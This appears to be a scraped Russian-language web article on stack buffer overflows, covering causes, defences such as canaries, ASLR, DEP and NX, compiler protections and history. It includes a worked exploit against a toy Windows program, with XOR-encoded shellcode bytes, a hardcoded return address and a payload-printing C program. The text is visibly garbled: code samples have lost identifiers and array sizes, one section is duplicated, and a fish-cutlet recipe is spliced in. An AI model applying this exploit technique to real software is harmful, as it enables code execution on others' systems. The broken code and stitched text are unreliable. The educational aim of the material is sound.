Переполнение буфера: причины, эффективные методы решения проблемы и необходимая защита

Атака: переполнение буфера стека

Прежде чем углубляться в технические подробности о том, что такое переполнение стекового буфера и как оно работает, давайте рассмотрим простую для понимания аналогию:

Переполнение буфера стека, как и атака Боба, перезаписывает данные, которые разработчик не собирался перезаписывать, обеспечивая полный контроль над программой и её выходными данными.

Конференция Heisenbug 2020 Moscow

4–7 ноября, Онлайн, От 14 500 до 64 000 ₽

tproger.ru

События и курсы на tproger.ru

Итак, теперь давайте посмотрим на это в реальном мире. Взгляните на следующий фрагмент кода:

В приведённой выше функции мы видим, что массив символьного типа с именем создаётся с размером 64. Затем мы видим, что переменная равна 0, и функция вызывается с переменной в качестве аргумента. Наконец, мы видим оператор , который проверяет, не равно ли значение нулю. Очевидно, что нет, где в этом приложении переменная имеет значение, отличное от 0. Так как мы собираемся её изменить?

Что ж, давайте сначала посмотрим на документацию функции :

Определение функции gets ()

Описание багов в функции gets ()

Как видите, функция просто принимает пользовательский ввод. Однако функция не проверяет, действительно ли пользовательский ввод вписывается в структуру данных, в которой мы его храним (в данном случае это ), и, таким образом, мы можем переполнить структуру данных и повлиять на другие переменные и данные стека. Кроме того, поскольку мы знаем, что все переменные хранятся в стеке, и мы знаем, что представляет собой переменная (0), всё, что нам нужно сделать, — это ввести достаточно данных, чтобы перезаписать переменную . Давайте посмотрим на диаграмму:

ASCII-диаграмма переполнения буфера стека

Как видите, если злоумышленник просто вводит слишком много текста, он может перезаписать переменную и всё остальное в стеке, включая указатели возврата. Это означает, что если злоумышленник сможет взять под контроль стек программы, он сможет эффективно контролировать всю программу и заставить её делать то, что он хочет. Например, можно просто перезаписать указатель возврата функции в стеке на пользовательский, указывающий на вредоносную функцию.

Безопасность

Программа, которая использует уязвимость для разрушения защиты другой программы, называется эксплойтом. Наибольшую опасность представляют эксплойты, предназначенные для получения доступа к уровню суперпользователя или, другими словами, повышения привилегий. Эксплойт переполнения буфера достигает этого путём передачи программе специально изготовленных входных данных. Такие данные переполняют выделенный буфер и изменяют данные, которые следуют за этим буфером в памяти.

Представим гипотетическую программу системного администрирования, которая исполняется с привилегиями суперпользователя — к примеру, изменение паролей пользователей. Если программа не проверяет длину введённого нового пароля, то любые данные, длина которых превышает размер выделенного для их хранения буфера, будут просто записаны поверх того, что находилось после буфера. Злоумышленник может вставить в эту область памяти инструкции на машинном языке, например, шелл-код, выполняющие любые действия с привилегиями суперпользователя — добавление и удаление учётных записей пользователей, изменение паролей, изменение или удаление файлов и т. д. Если исполнение в этой области памяти разрешено и в дальнейшем программа передаст в неё управление, система исполнит находящийся там машинный код злоумышленника.

Правильно написанные программы должны проверять длину входных данных, чтобы убедиться, что они не больше, чем выделенный буфер данных. Однако программисты часто забывают об этом. В случае если буфер расположен в стеке и стек «растёт вниз» (например в архитектуре x86), то с помощью переполнения буфера можно изменить адрес возврата выполняемой функции, так как адрес возврата расположен после буфера, выделенного выполняемой функцией. Тем самым есть возможность выполнить произвольный участок машинного кода в адресном пространстве процесса. Использовать переполнение буфера для искажения адреса возврата возможно даже если стек «растёт вверх» (в этом случае адрес возврата обычно находятся перед буфером).

Даже опытным программистам бывает трудно определить, насколько то или иное переполнение буфера может быть уязвимостью. Это требует глубоких знаний об архитектуре компьютера и о целевой программе. Было показано, что даже настолько малые переполнения, как запись одного байта за пределами буфера, могут представлять собой уязвимости.

Переполнения буфера широко распространены в программах, написанных на относительно низкоуровневых языках программирования, таких как язык ассемблера, Си и C++, которые требуют от программиста самостоятельного управления размером выделяемой памяти. Устранение ошибок переполнения буфера до сих пор является слабо автоматизированным процессом. Системы формальной верификации программ не очень эффективны при современных языках программирования.

Многие языки программирования, например, Perl, Python, Java и Ada, управляют выделением памяти автоматически, что делает ошибки, связанные с переполнением буфера, маловероятными или невозможными.Perl для избежания переполнений буфера обеспечивает автоматическое изменение размера массивов. Однако системы времени выполнения и библиотеки для таких языков всё равно могут быть подвержены переполнениям буфера, вследствие возможных внутренних ошибок в реализации этих систем проверки. В Windows доступны некоторые программные и аппаратно-программные решения, которые предотвращают выполнение кода за пределами переполненного буфера, если такое переполнение было осуществлено. Среди этих решений — DEP в Windows XP SP2,OSsurance и Anti-Execute.

В гарвардской архитектуре исполняемый код хранится отдельно от данных, что делает подобные атаки практически невозможными.

И ещё...

Напоследок рассмотрим пример «поближе к жизни». Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера:

#include <stdio.h>
#include <string.h>
#include <windows.h>

void show_message(char* msg)
{
    char buffer;
    strcpy(buffer, "Message: ");
    strcat(buffer, msg);
    MessageBox(0, buffer, "Message", MB_ICONINFORMATION);
}
int main()
{
    char text;
    printf("Please, enter text: \n");
    gets(text);
    show_message(text);
    return 0;
}

По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует «реальной жизни».

Итак, попробуем устроить «атаку на переполнение буфера» в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее:

111111111122222222223333333333444444444455555555556666666666abcdefghijklmnopqrstuvwxyz

В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0×63626136, следовательно адрес возврата должен находиться на месте символов «6abc». Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой:

MOV EAX, (конечный адрес закодированного фрагмента + 1)
MOV ECX, (количество байт во фрагменте)
decode:
DEC EAX
XOR BYTE PTR , 80h
LOOP decode

Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA — в 0x40f1a0. В итоге получаем следующую строку:

"11111111112222222222333333333344444444445555555555666666666"
"\xb3\x94\xf7\xbf"          // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL)
                            // ----------- код ----------- --- адрес инструкции ---
"\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                            // --- раскодируем часть программы ---
"\x8b\xc5"                  // MOV EAX, EBP                         // EBP+6
"\x83\xc0\x35"              // ADD EAX, 35h ; EAX = конечный адрес  // EBP+8
"\x33\xc9"                  // XOR ECX, ECX ; ECX = 0               // EBP+b
"\xb1\x10"                  // MOV CL, 10h  ; ECX = 10h             // EBP+d
"\x48"                      // decode: DEC EAX                      // EBP+f
"\x80\x30\x80"              // XOR BYTE PTR , 80h              // EBP+10
"\xe2\xfa"                  // LOOP decode                          // EBP+13
                            // --- Вызываем MessageBoxA ---
"\x6a\x30"                  // PUSH 30h                             // EBP+15
"\x8d\x45\x2c"              // LEA EAX,                    // EBP+17
"\x50"                      // PUSH EAX                             // EBP+1a
"\x8d\x45\x35"              // LEA EAX,                    // EBP+1b
"\x50"                      // PUSH EAX                             // EBP+1e
"\x51"                      // PUSH ECX     ; push 0                // EBP+1f
                            // -- начиная с EBP+25
                            //    идёт закодированный фрагмент --
"\xff\x15\xa0\xf1\x40\x80"  // CALL             // EBP+20

"\x7f\x95\x6c\x70\xc0\x80"  // CALL           // EBP+26
"\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80"
                            //    Cтрокa "Question\0" (закодирована)// EBP+2c
                            // -- конец закодированного фрагмента
                            //    (EBP+34) --
"To be, or not to be...\0";                                         // EBP+35

Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль:

#include <stdio.h>
int main()
{
    printf("11111111112222222222333333333344444444445555555555666666666"
           "\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48"
           "\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51"
           "\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80"
           "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0");
    return 0;
}

Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE:

> T.EXE | TEST.EXE

Работает!

Выполнение атаки через root

Ошибки кодирования обычно являются причиной переполнения buffer. Распространенные ошибки при разработке приложений, которые могут привести к нему, включают в себя неспособность выделить достаточно большие буферы и отсутствие механизма проверки этих проблем. Такие ошибки особенно проблематичны в языках C/C++, которые не имеют встроенной защиты от переполнения и часто являются объектами атак переполнения буфера.

В некоторых случаях злоумышленник внедряет вредоносный код в память, которая была повреждена из-за переполнения стекового буфера. В других случаях просто используют преимущества повреждения соседней памяти. Например, программа, которая запрашивает пароль пользователя для предоставления ему доступа к системе. В приведенном ниже коде правильный пароль предоставляет привилегии root. Если пароль неверный, программа не предоставляет юзеру привилегии.

В приведенном примере программа предоставляет пользователю привилегии root, даже если он ввел неверный пароль. В этом случае злоумышленник предоставляет вход, длина которого больше, чем может вместить буфер, создавая переполнение, перезаписывающего память целого числа pass. Поэтому, несмотря на неверный пароль, значение pass становится ненулевым, и злоумышленник получает права root.

Теория: стек

Стек — это просто большая структура данных, которая используется для хранения приложением информации или данных во время её работы. Работу стека можно описать следующей аналогией:

А теперь вместо Боба и стопки тарелок представьте компьютер и стопку объектов с данными. Когда что-то добавляется (push) в стек, оно кладётся наверх стопки. Когда извлекается (pull), то берётся сверху стопки. Так работает механизм LIFO (Last In First Out, последним пришёл — первым вышел).

Стек используется программами для хранения различных вещей, например, указателей на функции и переменных.

Альтернативная защита

Одной из часто предлагаемых альтернатив являются связанные версии, которые записывают в максимальный размер целевого буфера. На первый взгляд это выглядит как идеальное решение. К сожалению, у этих функций есть небольшой нюанс, который вызывает проблемы. При достижении предела, если завершающий символ не помещается в последний байт, возникают серьезные сбои при чтении буфера.

В этом упрощенном примере видна опасность строк, не оканчивающихся нулем. Когда foo помещается в normal buffer, он завершается нулем, поскольку имеет дополнительное место. Это лучший вариант развития событий. Если байты в переполнения буфера на стеке будут в другом символьном buffer или другой печатаемой строке, функция печати продолжить чтение, пока не будет достигнут завершающий символ этой строки.

Недостаток заключается в том, что язык C не предоставляет стандартную, безопасную альтернативу этим функциям. Тем не менее имеется и позитив — доступность нескольких реализаций для конкретной платформы. OpenBSD предоставляет strlcpy и strlcat, которые работают аналогично функциям strn, за исключением того, что они усекают строку на один символ раньше, чтобы освободить место для нулевого терминатора.

Аналогично Microsoft предоставляет свои собственные безопасные реализации часто используемых функций обработки строк: strcpy_s, strcat_s и sprintf_s.

Использование безопасных альтернатив, перечисленных выше, является предпочтительным. Когда это невозможно, выполняют ручную проверку границ и нулевое завершение при обработке строковых буферов.

Предотвращение

Для того, чтобы сделать переполнение буфера менее вероятным, используются различные приёмы.

Системы обнаружения вторжения

С помощью систем обнаружения вторжения (СОВ) можно обнаружить и предотвратить попытки удалённого использования переполнения буфера. Так как в большинстве случаев данные, предназначенные для переполнения буфера, содержат длинные массивы инструкций No Operation (NOP или NOOP), СОВ просто блокирует все входящие пакеты, содержащие большое количество последовательных NOP-ов. Этот способ, в общем, неэффективен, так как такие массивы могут быть записаны с использованием разнообразных инструкций языка ассемблера. В последнее время крэкеры начали использовать шелл-коды с шифрованием, самомодифицирующимся кодом, полиморфным кодом и алфавитно-цифровым кодом, а также атаки возврата в стандартную библиотеку для проникновения через СОВ.

Защита от повреждения стека

Защита от повреждения стека используется для обнаружения наиболее частых ошибок переполнения буфера. При этом проверяется, что стек вызовов не был изменён перед возвратом из функции. Если он был изменён, то программа заканчивает выполнение с ошибкой сегментации.

Размещение адреса возврата в стеке данных облегчает задачу осуществления переполнения буфера, которое ведёт к выполнению произвольного кода. Теоретически, в gcc могут быть внесены изменения, которые позволят помещать адрес в специальном стеке возврата, который полностью отделён от стека данных, аналогично тому, как это реализовано в языке Forth. Однако это не является полным решением проблемы переполнения буфера, так как другие данные стека тоже нуждаются в защите.

Защита пространства исполняемого кода для UNIX-подобных систем

Защита пространства исполняемого кода может смягчить последствия переполнений буфера, делая большинство действий злоумышленников невозможными. Это достигается рандомизацией адресного пространства (ASLR) и/или запрещением одновременного доступа к памяти на запись и исполнение. Неисполняемый стек предотвращает большинство эксплойтов кода оболочки.

Существует два исправления для ядра Linux, которые обеспечивают эту защиту — PaX и exec-shield. Ни один из них ещё не включен в основную поставку ядра. OpenBSD с версии 3.3 включает систему, называемую W^X, которая также обеспечивает контроль исполняемого пространства.

Заметим, что этот способ защиты не предотвращает повреждение стека. Однако он часто предотвращает успешное выполнение «полезной нагрузки» эксплойта. Программа не будет способна вставить код оболочки в защищённую от записи память, такую как существующие сегменты исполняемого кода. Также будет невозможно выполнение инструкций в неисполняемой памяти, такой как стек или куча.

ASLR затрудняет для взломщика определение адресов функций в коде программы, с помощью которых он мог бы осуществить успешную атаку, и делает атаки типа ret2libc очень трудной задачей, хотя они всё ещё возможны в контролируемом окружении, или если атакующий правильно угадает нужный адрес.

Некоторые процессоры, такие как Sparc фирмы Sun, Efficeon фирмы Transmeta, и новейшие 64-битные процессоры фирм AMD и Intel предотвращают выполнение кода, расположенного в областях памяти, помеченных специальным битом NX. AMD называет своё решение NX (от англ. No eXecute), а Intel своё — XD (от англ. eXecute Disabled).

Защита пространства исполняемого кода для Windows

Сейчас существует несколько различных решений, предназначенных для защиты исполняемого кода в системах Windows, предлагаемых как компанией Майкрософт, так и сторонними компаниями.

Майкрософт предложила своё решение, получившее название DEP (от англ. Data Execution Prevention — «предотвращение выполнения данных»), включив его в пакеты обновлений для Windows XP и Windows Server 2003. DEP использует дополнительные возможности новых процессоров Intel и AMD, которые были предназначены для преодоления ограничения в 4 ГиБ на размер адресуемой памяти, присущий 32-разрядным процессорам. Для этих целей некоторые служебные структуры были увеличены. Эти структуры теперь содержат неиспользуемый (зарезервированный) бит NX. DEP использует этот бит для предотвращения атак, связанных с изменением адреса обработчика исключений (так называемый SEH-эксплойт). DEP обеспечивает только защиту от SEH-эксплойта, он не защищает страницы памяти с исполняемым кодом.

Кроме того, Майкрософт разработала механизм защиты стека, предназначенный для Windows Server 2003. Стек помечается с помощью так называемых «осведомителей» (англ. canary), целостность которых затем проверяется. Если «осведомитель» был изменён, значит, стек повреждён.

Существуют также сторонние решения, предотвращающие исполнение кода, расположенного в областях памяти, предназначенных для данных или реализующих механизм ASLR.

Использование безопасных библиотек

Проблема переполнений буфера характерна для языков программирования Си и C++, потому что они не скрывают детали низкоуровневого представления буферов как контейнеров для типов данных. Таким образом, чтобы избежать переполнения буфера, нужно обеспечивать высокий уровень контроля за созданием и изменениями программного кода, осуществляющего управление буферами. Использование библиотек абстрактных типов данных, которые производят централизованное автоматическое управление буферами и включают в себя проверку на переполнение — один из инженерных подходов к предотвращению переполнения буфера.

Два основных типа данных, которые позволяют осуществить переполнение буфера в этих языках — это строки и массивы. Таким образом, использование библиотек для строк и списковых структур данных, которые были разработаны для предотвращения и/или обнаружения переполнений буфера, позволяет избежать многих уязвимостей.

Краткое техническое изложение

Пример

Рассмотрим пример уязвимой программы на языке Си:

#include <string.h>
int main(int argc, char *argv[])
{
	char buf100];
	strcpy(buf, argv1]);
	return ;
}

В ней используется небезопасная функция strcpy, которая позволяет записать больше данных, чем вмещает выделенный под них массив. Если запустить данную программу в системе Windows с аргументом, длина которого превышает 100 байт, скорее всего, работа программы будет аварийно завершена, а пользователь получит сообщение об ошибке.

Следующая программа не подвержена данной уязвимости:

#include <string.h>
int main(int argc, char *argv[])
{
	char buf100];
	strncpy(buf, argv1], sizeof(buf));
	return ;
}

Здесь strcpy заменена на strncpy, в которой максимальное число копируемых символов ограничено размером буфера.

Описание

На схемах ниже видно, как уязвимая программа может повредить структуру стека.

Иллюстрация записи различных данных в буфер, выделенный в стеке

В архитектуре x86 стек растёт от бо́льших адресов к меньшим, то есть новые данные помещаются перед теми, которые уже находятся в стеке.

Записывая данные в буфер, можно осуществить запись за его границами и изменить находящиеся там данные, в частности, изменить адрес возврата.

Если программа имеет особые привилегии (например, запущена с правами root), злоумышленник может заменить адрес возврата на адрес шелл-кода, что позволит ему исполнять команды в атакуемой системе с повышенными привилегиями.

Рыбные котлеты на пару диетические

Приготовить пп котлеты можно и на пару. Вы можете использовать как обычную пароварку, так и мультиварку.

  • 300 грамм рыбы. Берем любую нежирную рыбу и измельчаем с помощью мясорубки. Диетический фарш готов.
  • 1 небольшая луковица. Мелко шинкуем или натираем на терке.
  • 1 яйцо.
  • 2 столовые ложки отрубей. Это добавит клетчатки в наши рыбные паровые котлеты. Кстати, именно отрубями можно заменить муку в некоторых рецептах котлет.
  • Соль и перец по вкусу.

Смешиваем все ингредиенты и даем фаршу немного времени, чтобы он настоялся. За это время отруби немного разбухнут, и вы сможете с легкостью сформировать котлетки. Готовятся такие пп котлеты в течение 15−20 минут.

Теория: вызов функций и возвраты

Посмотрите на код, представленный ниже:

В этом фрагменте кода мы видим что функция принимает два аргумента целочисленного типа, имена которых и . В функции мы вызываем функцию с 1 в качестве аргумента и 2 — . Если перевести это в машинный код:

Как вы видите, при вызове функции с параметрами программа сначала добавляет оба параметра в стек, а затем выполняет команду . Команда перенаправляет указатель инструкции программы по адресу вызываемой функции. Указатель программы подобен маленькому карандашу, который вы используете для отслеживания слов при чтении. Указатель инструкции всегда указывает на ту инструкцию, которая должна быть выполнена (слово, которое будет прочитано). Однако, перед тем, как перейти к вызываемой функции, команда помещает адрес следующей за ним инструкции в стек, чтобы, когда произойдёт возврат из функции , было известно, с чего продолжать выполнение программы. Адрес места, в которое функция должна вернуться, называется указателем возврата функции.

История

Переполнение буфера было понято и частично задокументировано ещё в 1972 году в публикации «Computer Security Technology Planning Study». Самое раннее задокументированное злонамеренное использование переполнения буфера произошло в 1988 году. На нём был основан один из нескольких эксплойтов, применявшихся червём Морриса для самораспространения через Интернет. Программа использовала уязвимость в сервисе finger системы Unix. Позднее, в 1995 году, Томас Лопатик независимо переоткрыл переполнение буфера и занёс результаты исследования в список Багтрак. Годом позже Элиас Леви опубликовал пошаговое введение в использование переполнения буфера при работе со стеком «Smashing the Stack for Fun and Profit» в журнале Phrack.

С тех пор как минимум два известных сетевых червя применяли переполнение буфера для заражения большого количества систем. В 2001 году червь Code Red использовал эту уязвимость в продукте компании Microsoft Internet Information Services (IIS) 5.0, а в 2003 году SQL Slammer заражал машины с Microsoft SQL Server 2000.

В 2003 году использование присутствующего в лицензионных играх для Xbox переполнения буфера позволило запускать на консоли нелицензионное программное обеспечение без модификации аппаратных средств с использованием так называемых модчипов. PS2 Independence Exploit также использовал переполнение буфера, чтобы достичь того же результата для PlayStation 2. Аналогичный эксплойт для Wii Twilight применял эту уязвимость в игре The Legend of Zelda: Twilight Princess.

Реализации

Коллекция компиляторов GNU (GCC)

Защита от разрушения стека была впервые реализована StackGuard в 1997 году и опубликована на симпозиуме по безопасности USENIX в 1998 году . StackGuard был представлен как набор исправлений для Intel x86 backend GCC 2.7. StackGuard поддерживался для дистрибутива Immunix Linux с 1998 по 2003 год и был расширен реализациями для терминатора, случайных и случайных канареек XOR. StackGuard был предложен для включения в GCC 3.x на конференции GCC 2003 Summit Proceedings, но этого так и не произошло.

С 2001 по 2005 год IBM разработала исправления GCC для защиты от разрушения стека, известные как ProPolice . Он улучшил идею StackGuard, разместив буферы после локальных указателей и аргументов функций в кадре стека. Это помогло избежать повреждения указателей, предотвращая доступ к произвольным участкам памяти.

Однако инженеры Red Hat выявили проблемы с ProPolice и в 2005 году повторно реализовали защиту от разбиения стека для включения в GCC 4.1. В этой работе был представлен -fstack-protectorфлаг, который защищает только некоторые уязвимые функции, и -fstack-protector-allфлаг, который защищает все функции, независимо от того, нужны они им или нет.

В 2012 году инженеры внедрили -fstack-protector-strongфлаг, чтобы добиться лучшего баланса между безопасностью и производительностью. Этот флаг защищает больше видов уязвимых функций, чем защищает -fstack-protector, но не каждую функцию, обеспечивая лучшую производительность, чем -fstack-protector-all. Он доступен в GCC, начиная с его версии 4.9.

Все пакеты Fedora компилируются с -fstack-protectorFedora Core 5 и -fstack-protector-strongс Fedora 20. Большинство пакетов в Ubuntu компилируются с -fstack-protector6.10. Каждый пакет Arch Linux компилируется с -fstack-protector2011 года. Все пакеты Arch Linux, созданные с 4 мая 2014 года, используют -fstack-protector-strong. Защита стека используется только для некоторых пакетов в Debian и только для базовой системы FreeBSD, начиная с версии 8.0. Защита стека является стандартной в некоторых операционных системах, включая OpenBSD , Hardened Gentoo и DragonFly BSD .

StackGuard и ProPolice не могут защитить от переполнения в автоматически выделенных структурах, которые переходят в указатели функций. ProPolice, по крайней мере, изменит порядок размещения, чтобы выделить такие структуры перед указателями функций. Отдельный механизм был предложен в PointGuard и доступен в Microsoft Windows.

Microsoft Visual Studio

Набор компиляторов от Microsoft реализует защиту от переполнения буфера с версии 2003 с помощью ключа командной строки / GS , который включен по умолчанию с версии 2005. Использование / GS- отключает защиту.

Clang / LLVM

Clang поддерживает три детектора переполнения буфера, а именно
AddressSanitizer (-fsanitize = адрес), -fsanitize = bounds и SafeCode. Эти системы имеют разные компромиссы с точки зрения потери производительности, накладных расходов на память и классов обнаруженных ошибок. Защита стека является стандартной в некоторых операционных системах, включая OpenBSD .

Компилятор Intel

Компилятор Intel C и C ++ поддерживает защиту от разрушения стека с опциями, аналогичными тем, которые предоставляются GCC и Microsoft Visual Studio.

Отказоустойчивый C

Fail-Safe C — это компилятор ANSI C с открытым исходным кодом, безопасный для памяти, который выполняет проверку границ на основе жирных указателей и объектно-ориентированного доступа к памяти.

StackGhost (аппаратный)

Изобретенный Майк Frantzen , StackGhost простой твик в регистр окна разливы / заполнения процедур , что делает переполнение буфера гораздо труднее использовать. Он использует уникальную аппаратную функцию архитектуры Sun Microsystems SPARC (то есть: отложенное заполнение / заполнение окна регистров в стеке ) для прозрачного и автоматического обнаружения изменений указателей возврата (распространенный способ для эксплойта перехватить пути выполнения) защита всех приложений без необходимости модификации двоичного кода или исходного кода. Влияние на производительность незначительно, менее одного процента. Спустя два года Марк Кеттенис решил возникшие проблемы с gdb , что позволило включить эту функцию. После этого события код StackGhost был интегрирован (и оптимизирован) в OpenBSD / SPARC.

Краткое техническое изложение

Пример

Рассмотрим пример уязвимой программы на языке Си:

#include <string.h>
int main(int argc, char *argv[])
{
	char buf100];
	strcpy(buf, argv1]);
	return ;
}

В ней используется небезопасная функция strcpy, которая позволяет записать больше данных, чем вмещает выделенный под них массив. Если запустить данную программу в системе Windows с аргументом, длина которого превышает 100 байт, скорее всего, работа программы будет аварийно завершена, а пользователь получит сообщение об ошибке.

Следующая программа не подвержена данной уязвимости:

#include <string.h>
int main(int argc, char *argv[])
{
	char buf100];
	strncpy(buf, argv1], sizeof(buf));
	return ;
}

Здесь strcpy заменена на strncpy, в которой максимальное число копируемых символов ограничено размером буфера.

Описание

На схемах ниже видно, как уязвимая программа может повредить структуру стека.

Иллюстрация записи различных данных в буфер, выделенный в стеке

В архитектуре x86 стек растёт от бо́льших адресов к меньшим, то есть новые данные помещаются перед теми, которые уже находятся в стеке.

Записывая данные в буфер, можно осуществить запись за его границами и изменить находящиеся там данные, в частности, изменить адрес возврата.

Если программа имеет особые привилегии (например, запущена с правами root), злоумышленник может заменить адрес возврата на адрес шелл-кода, что позволит ему исполнять команды в атакуемой системе с повышенными привилегиями.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Пока оценок нет)
Загрузка...
Понравилась статья? Поделиться с друзьями:
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector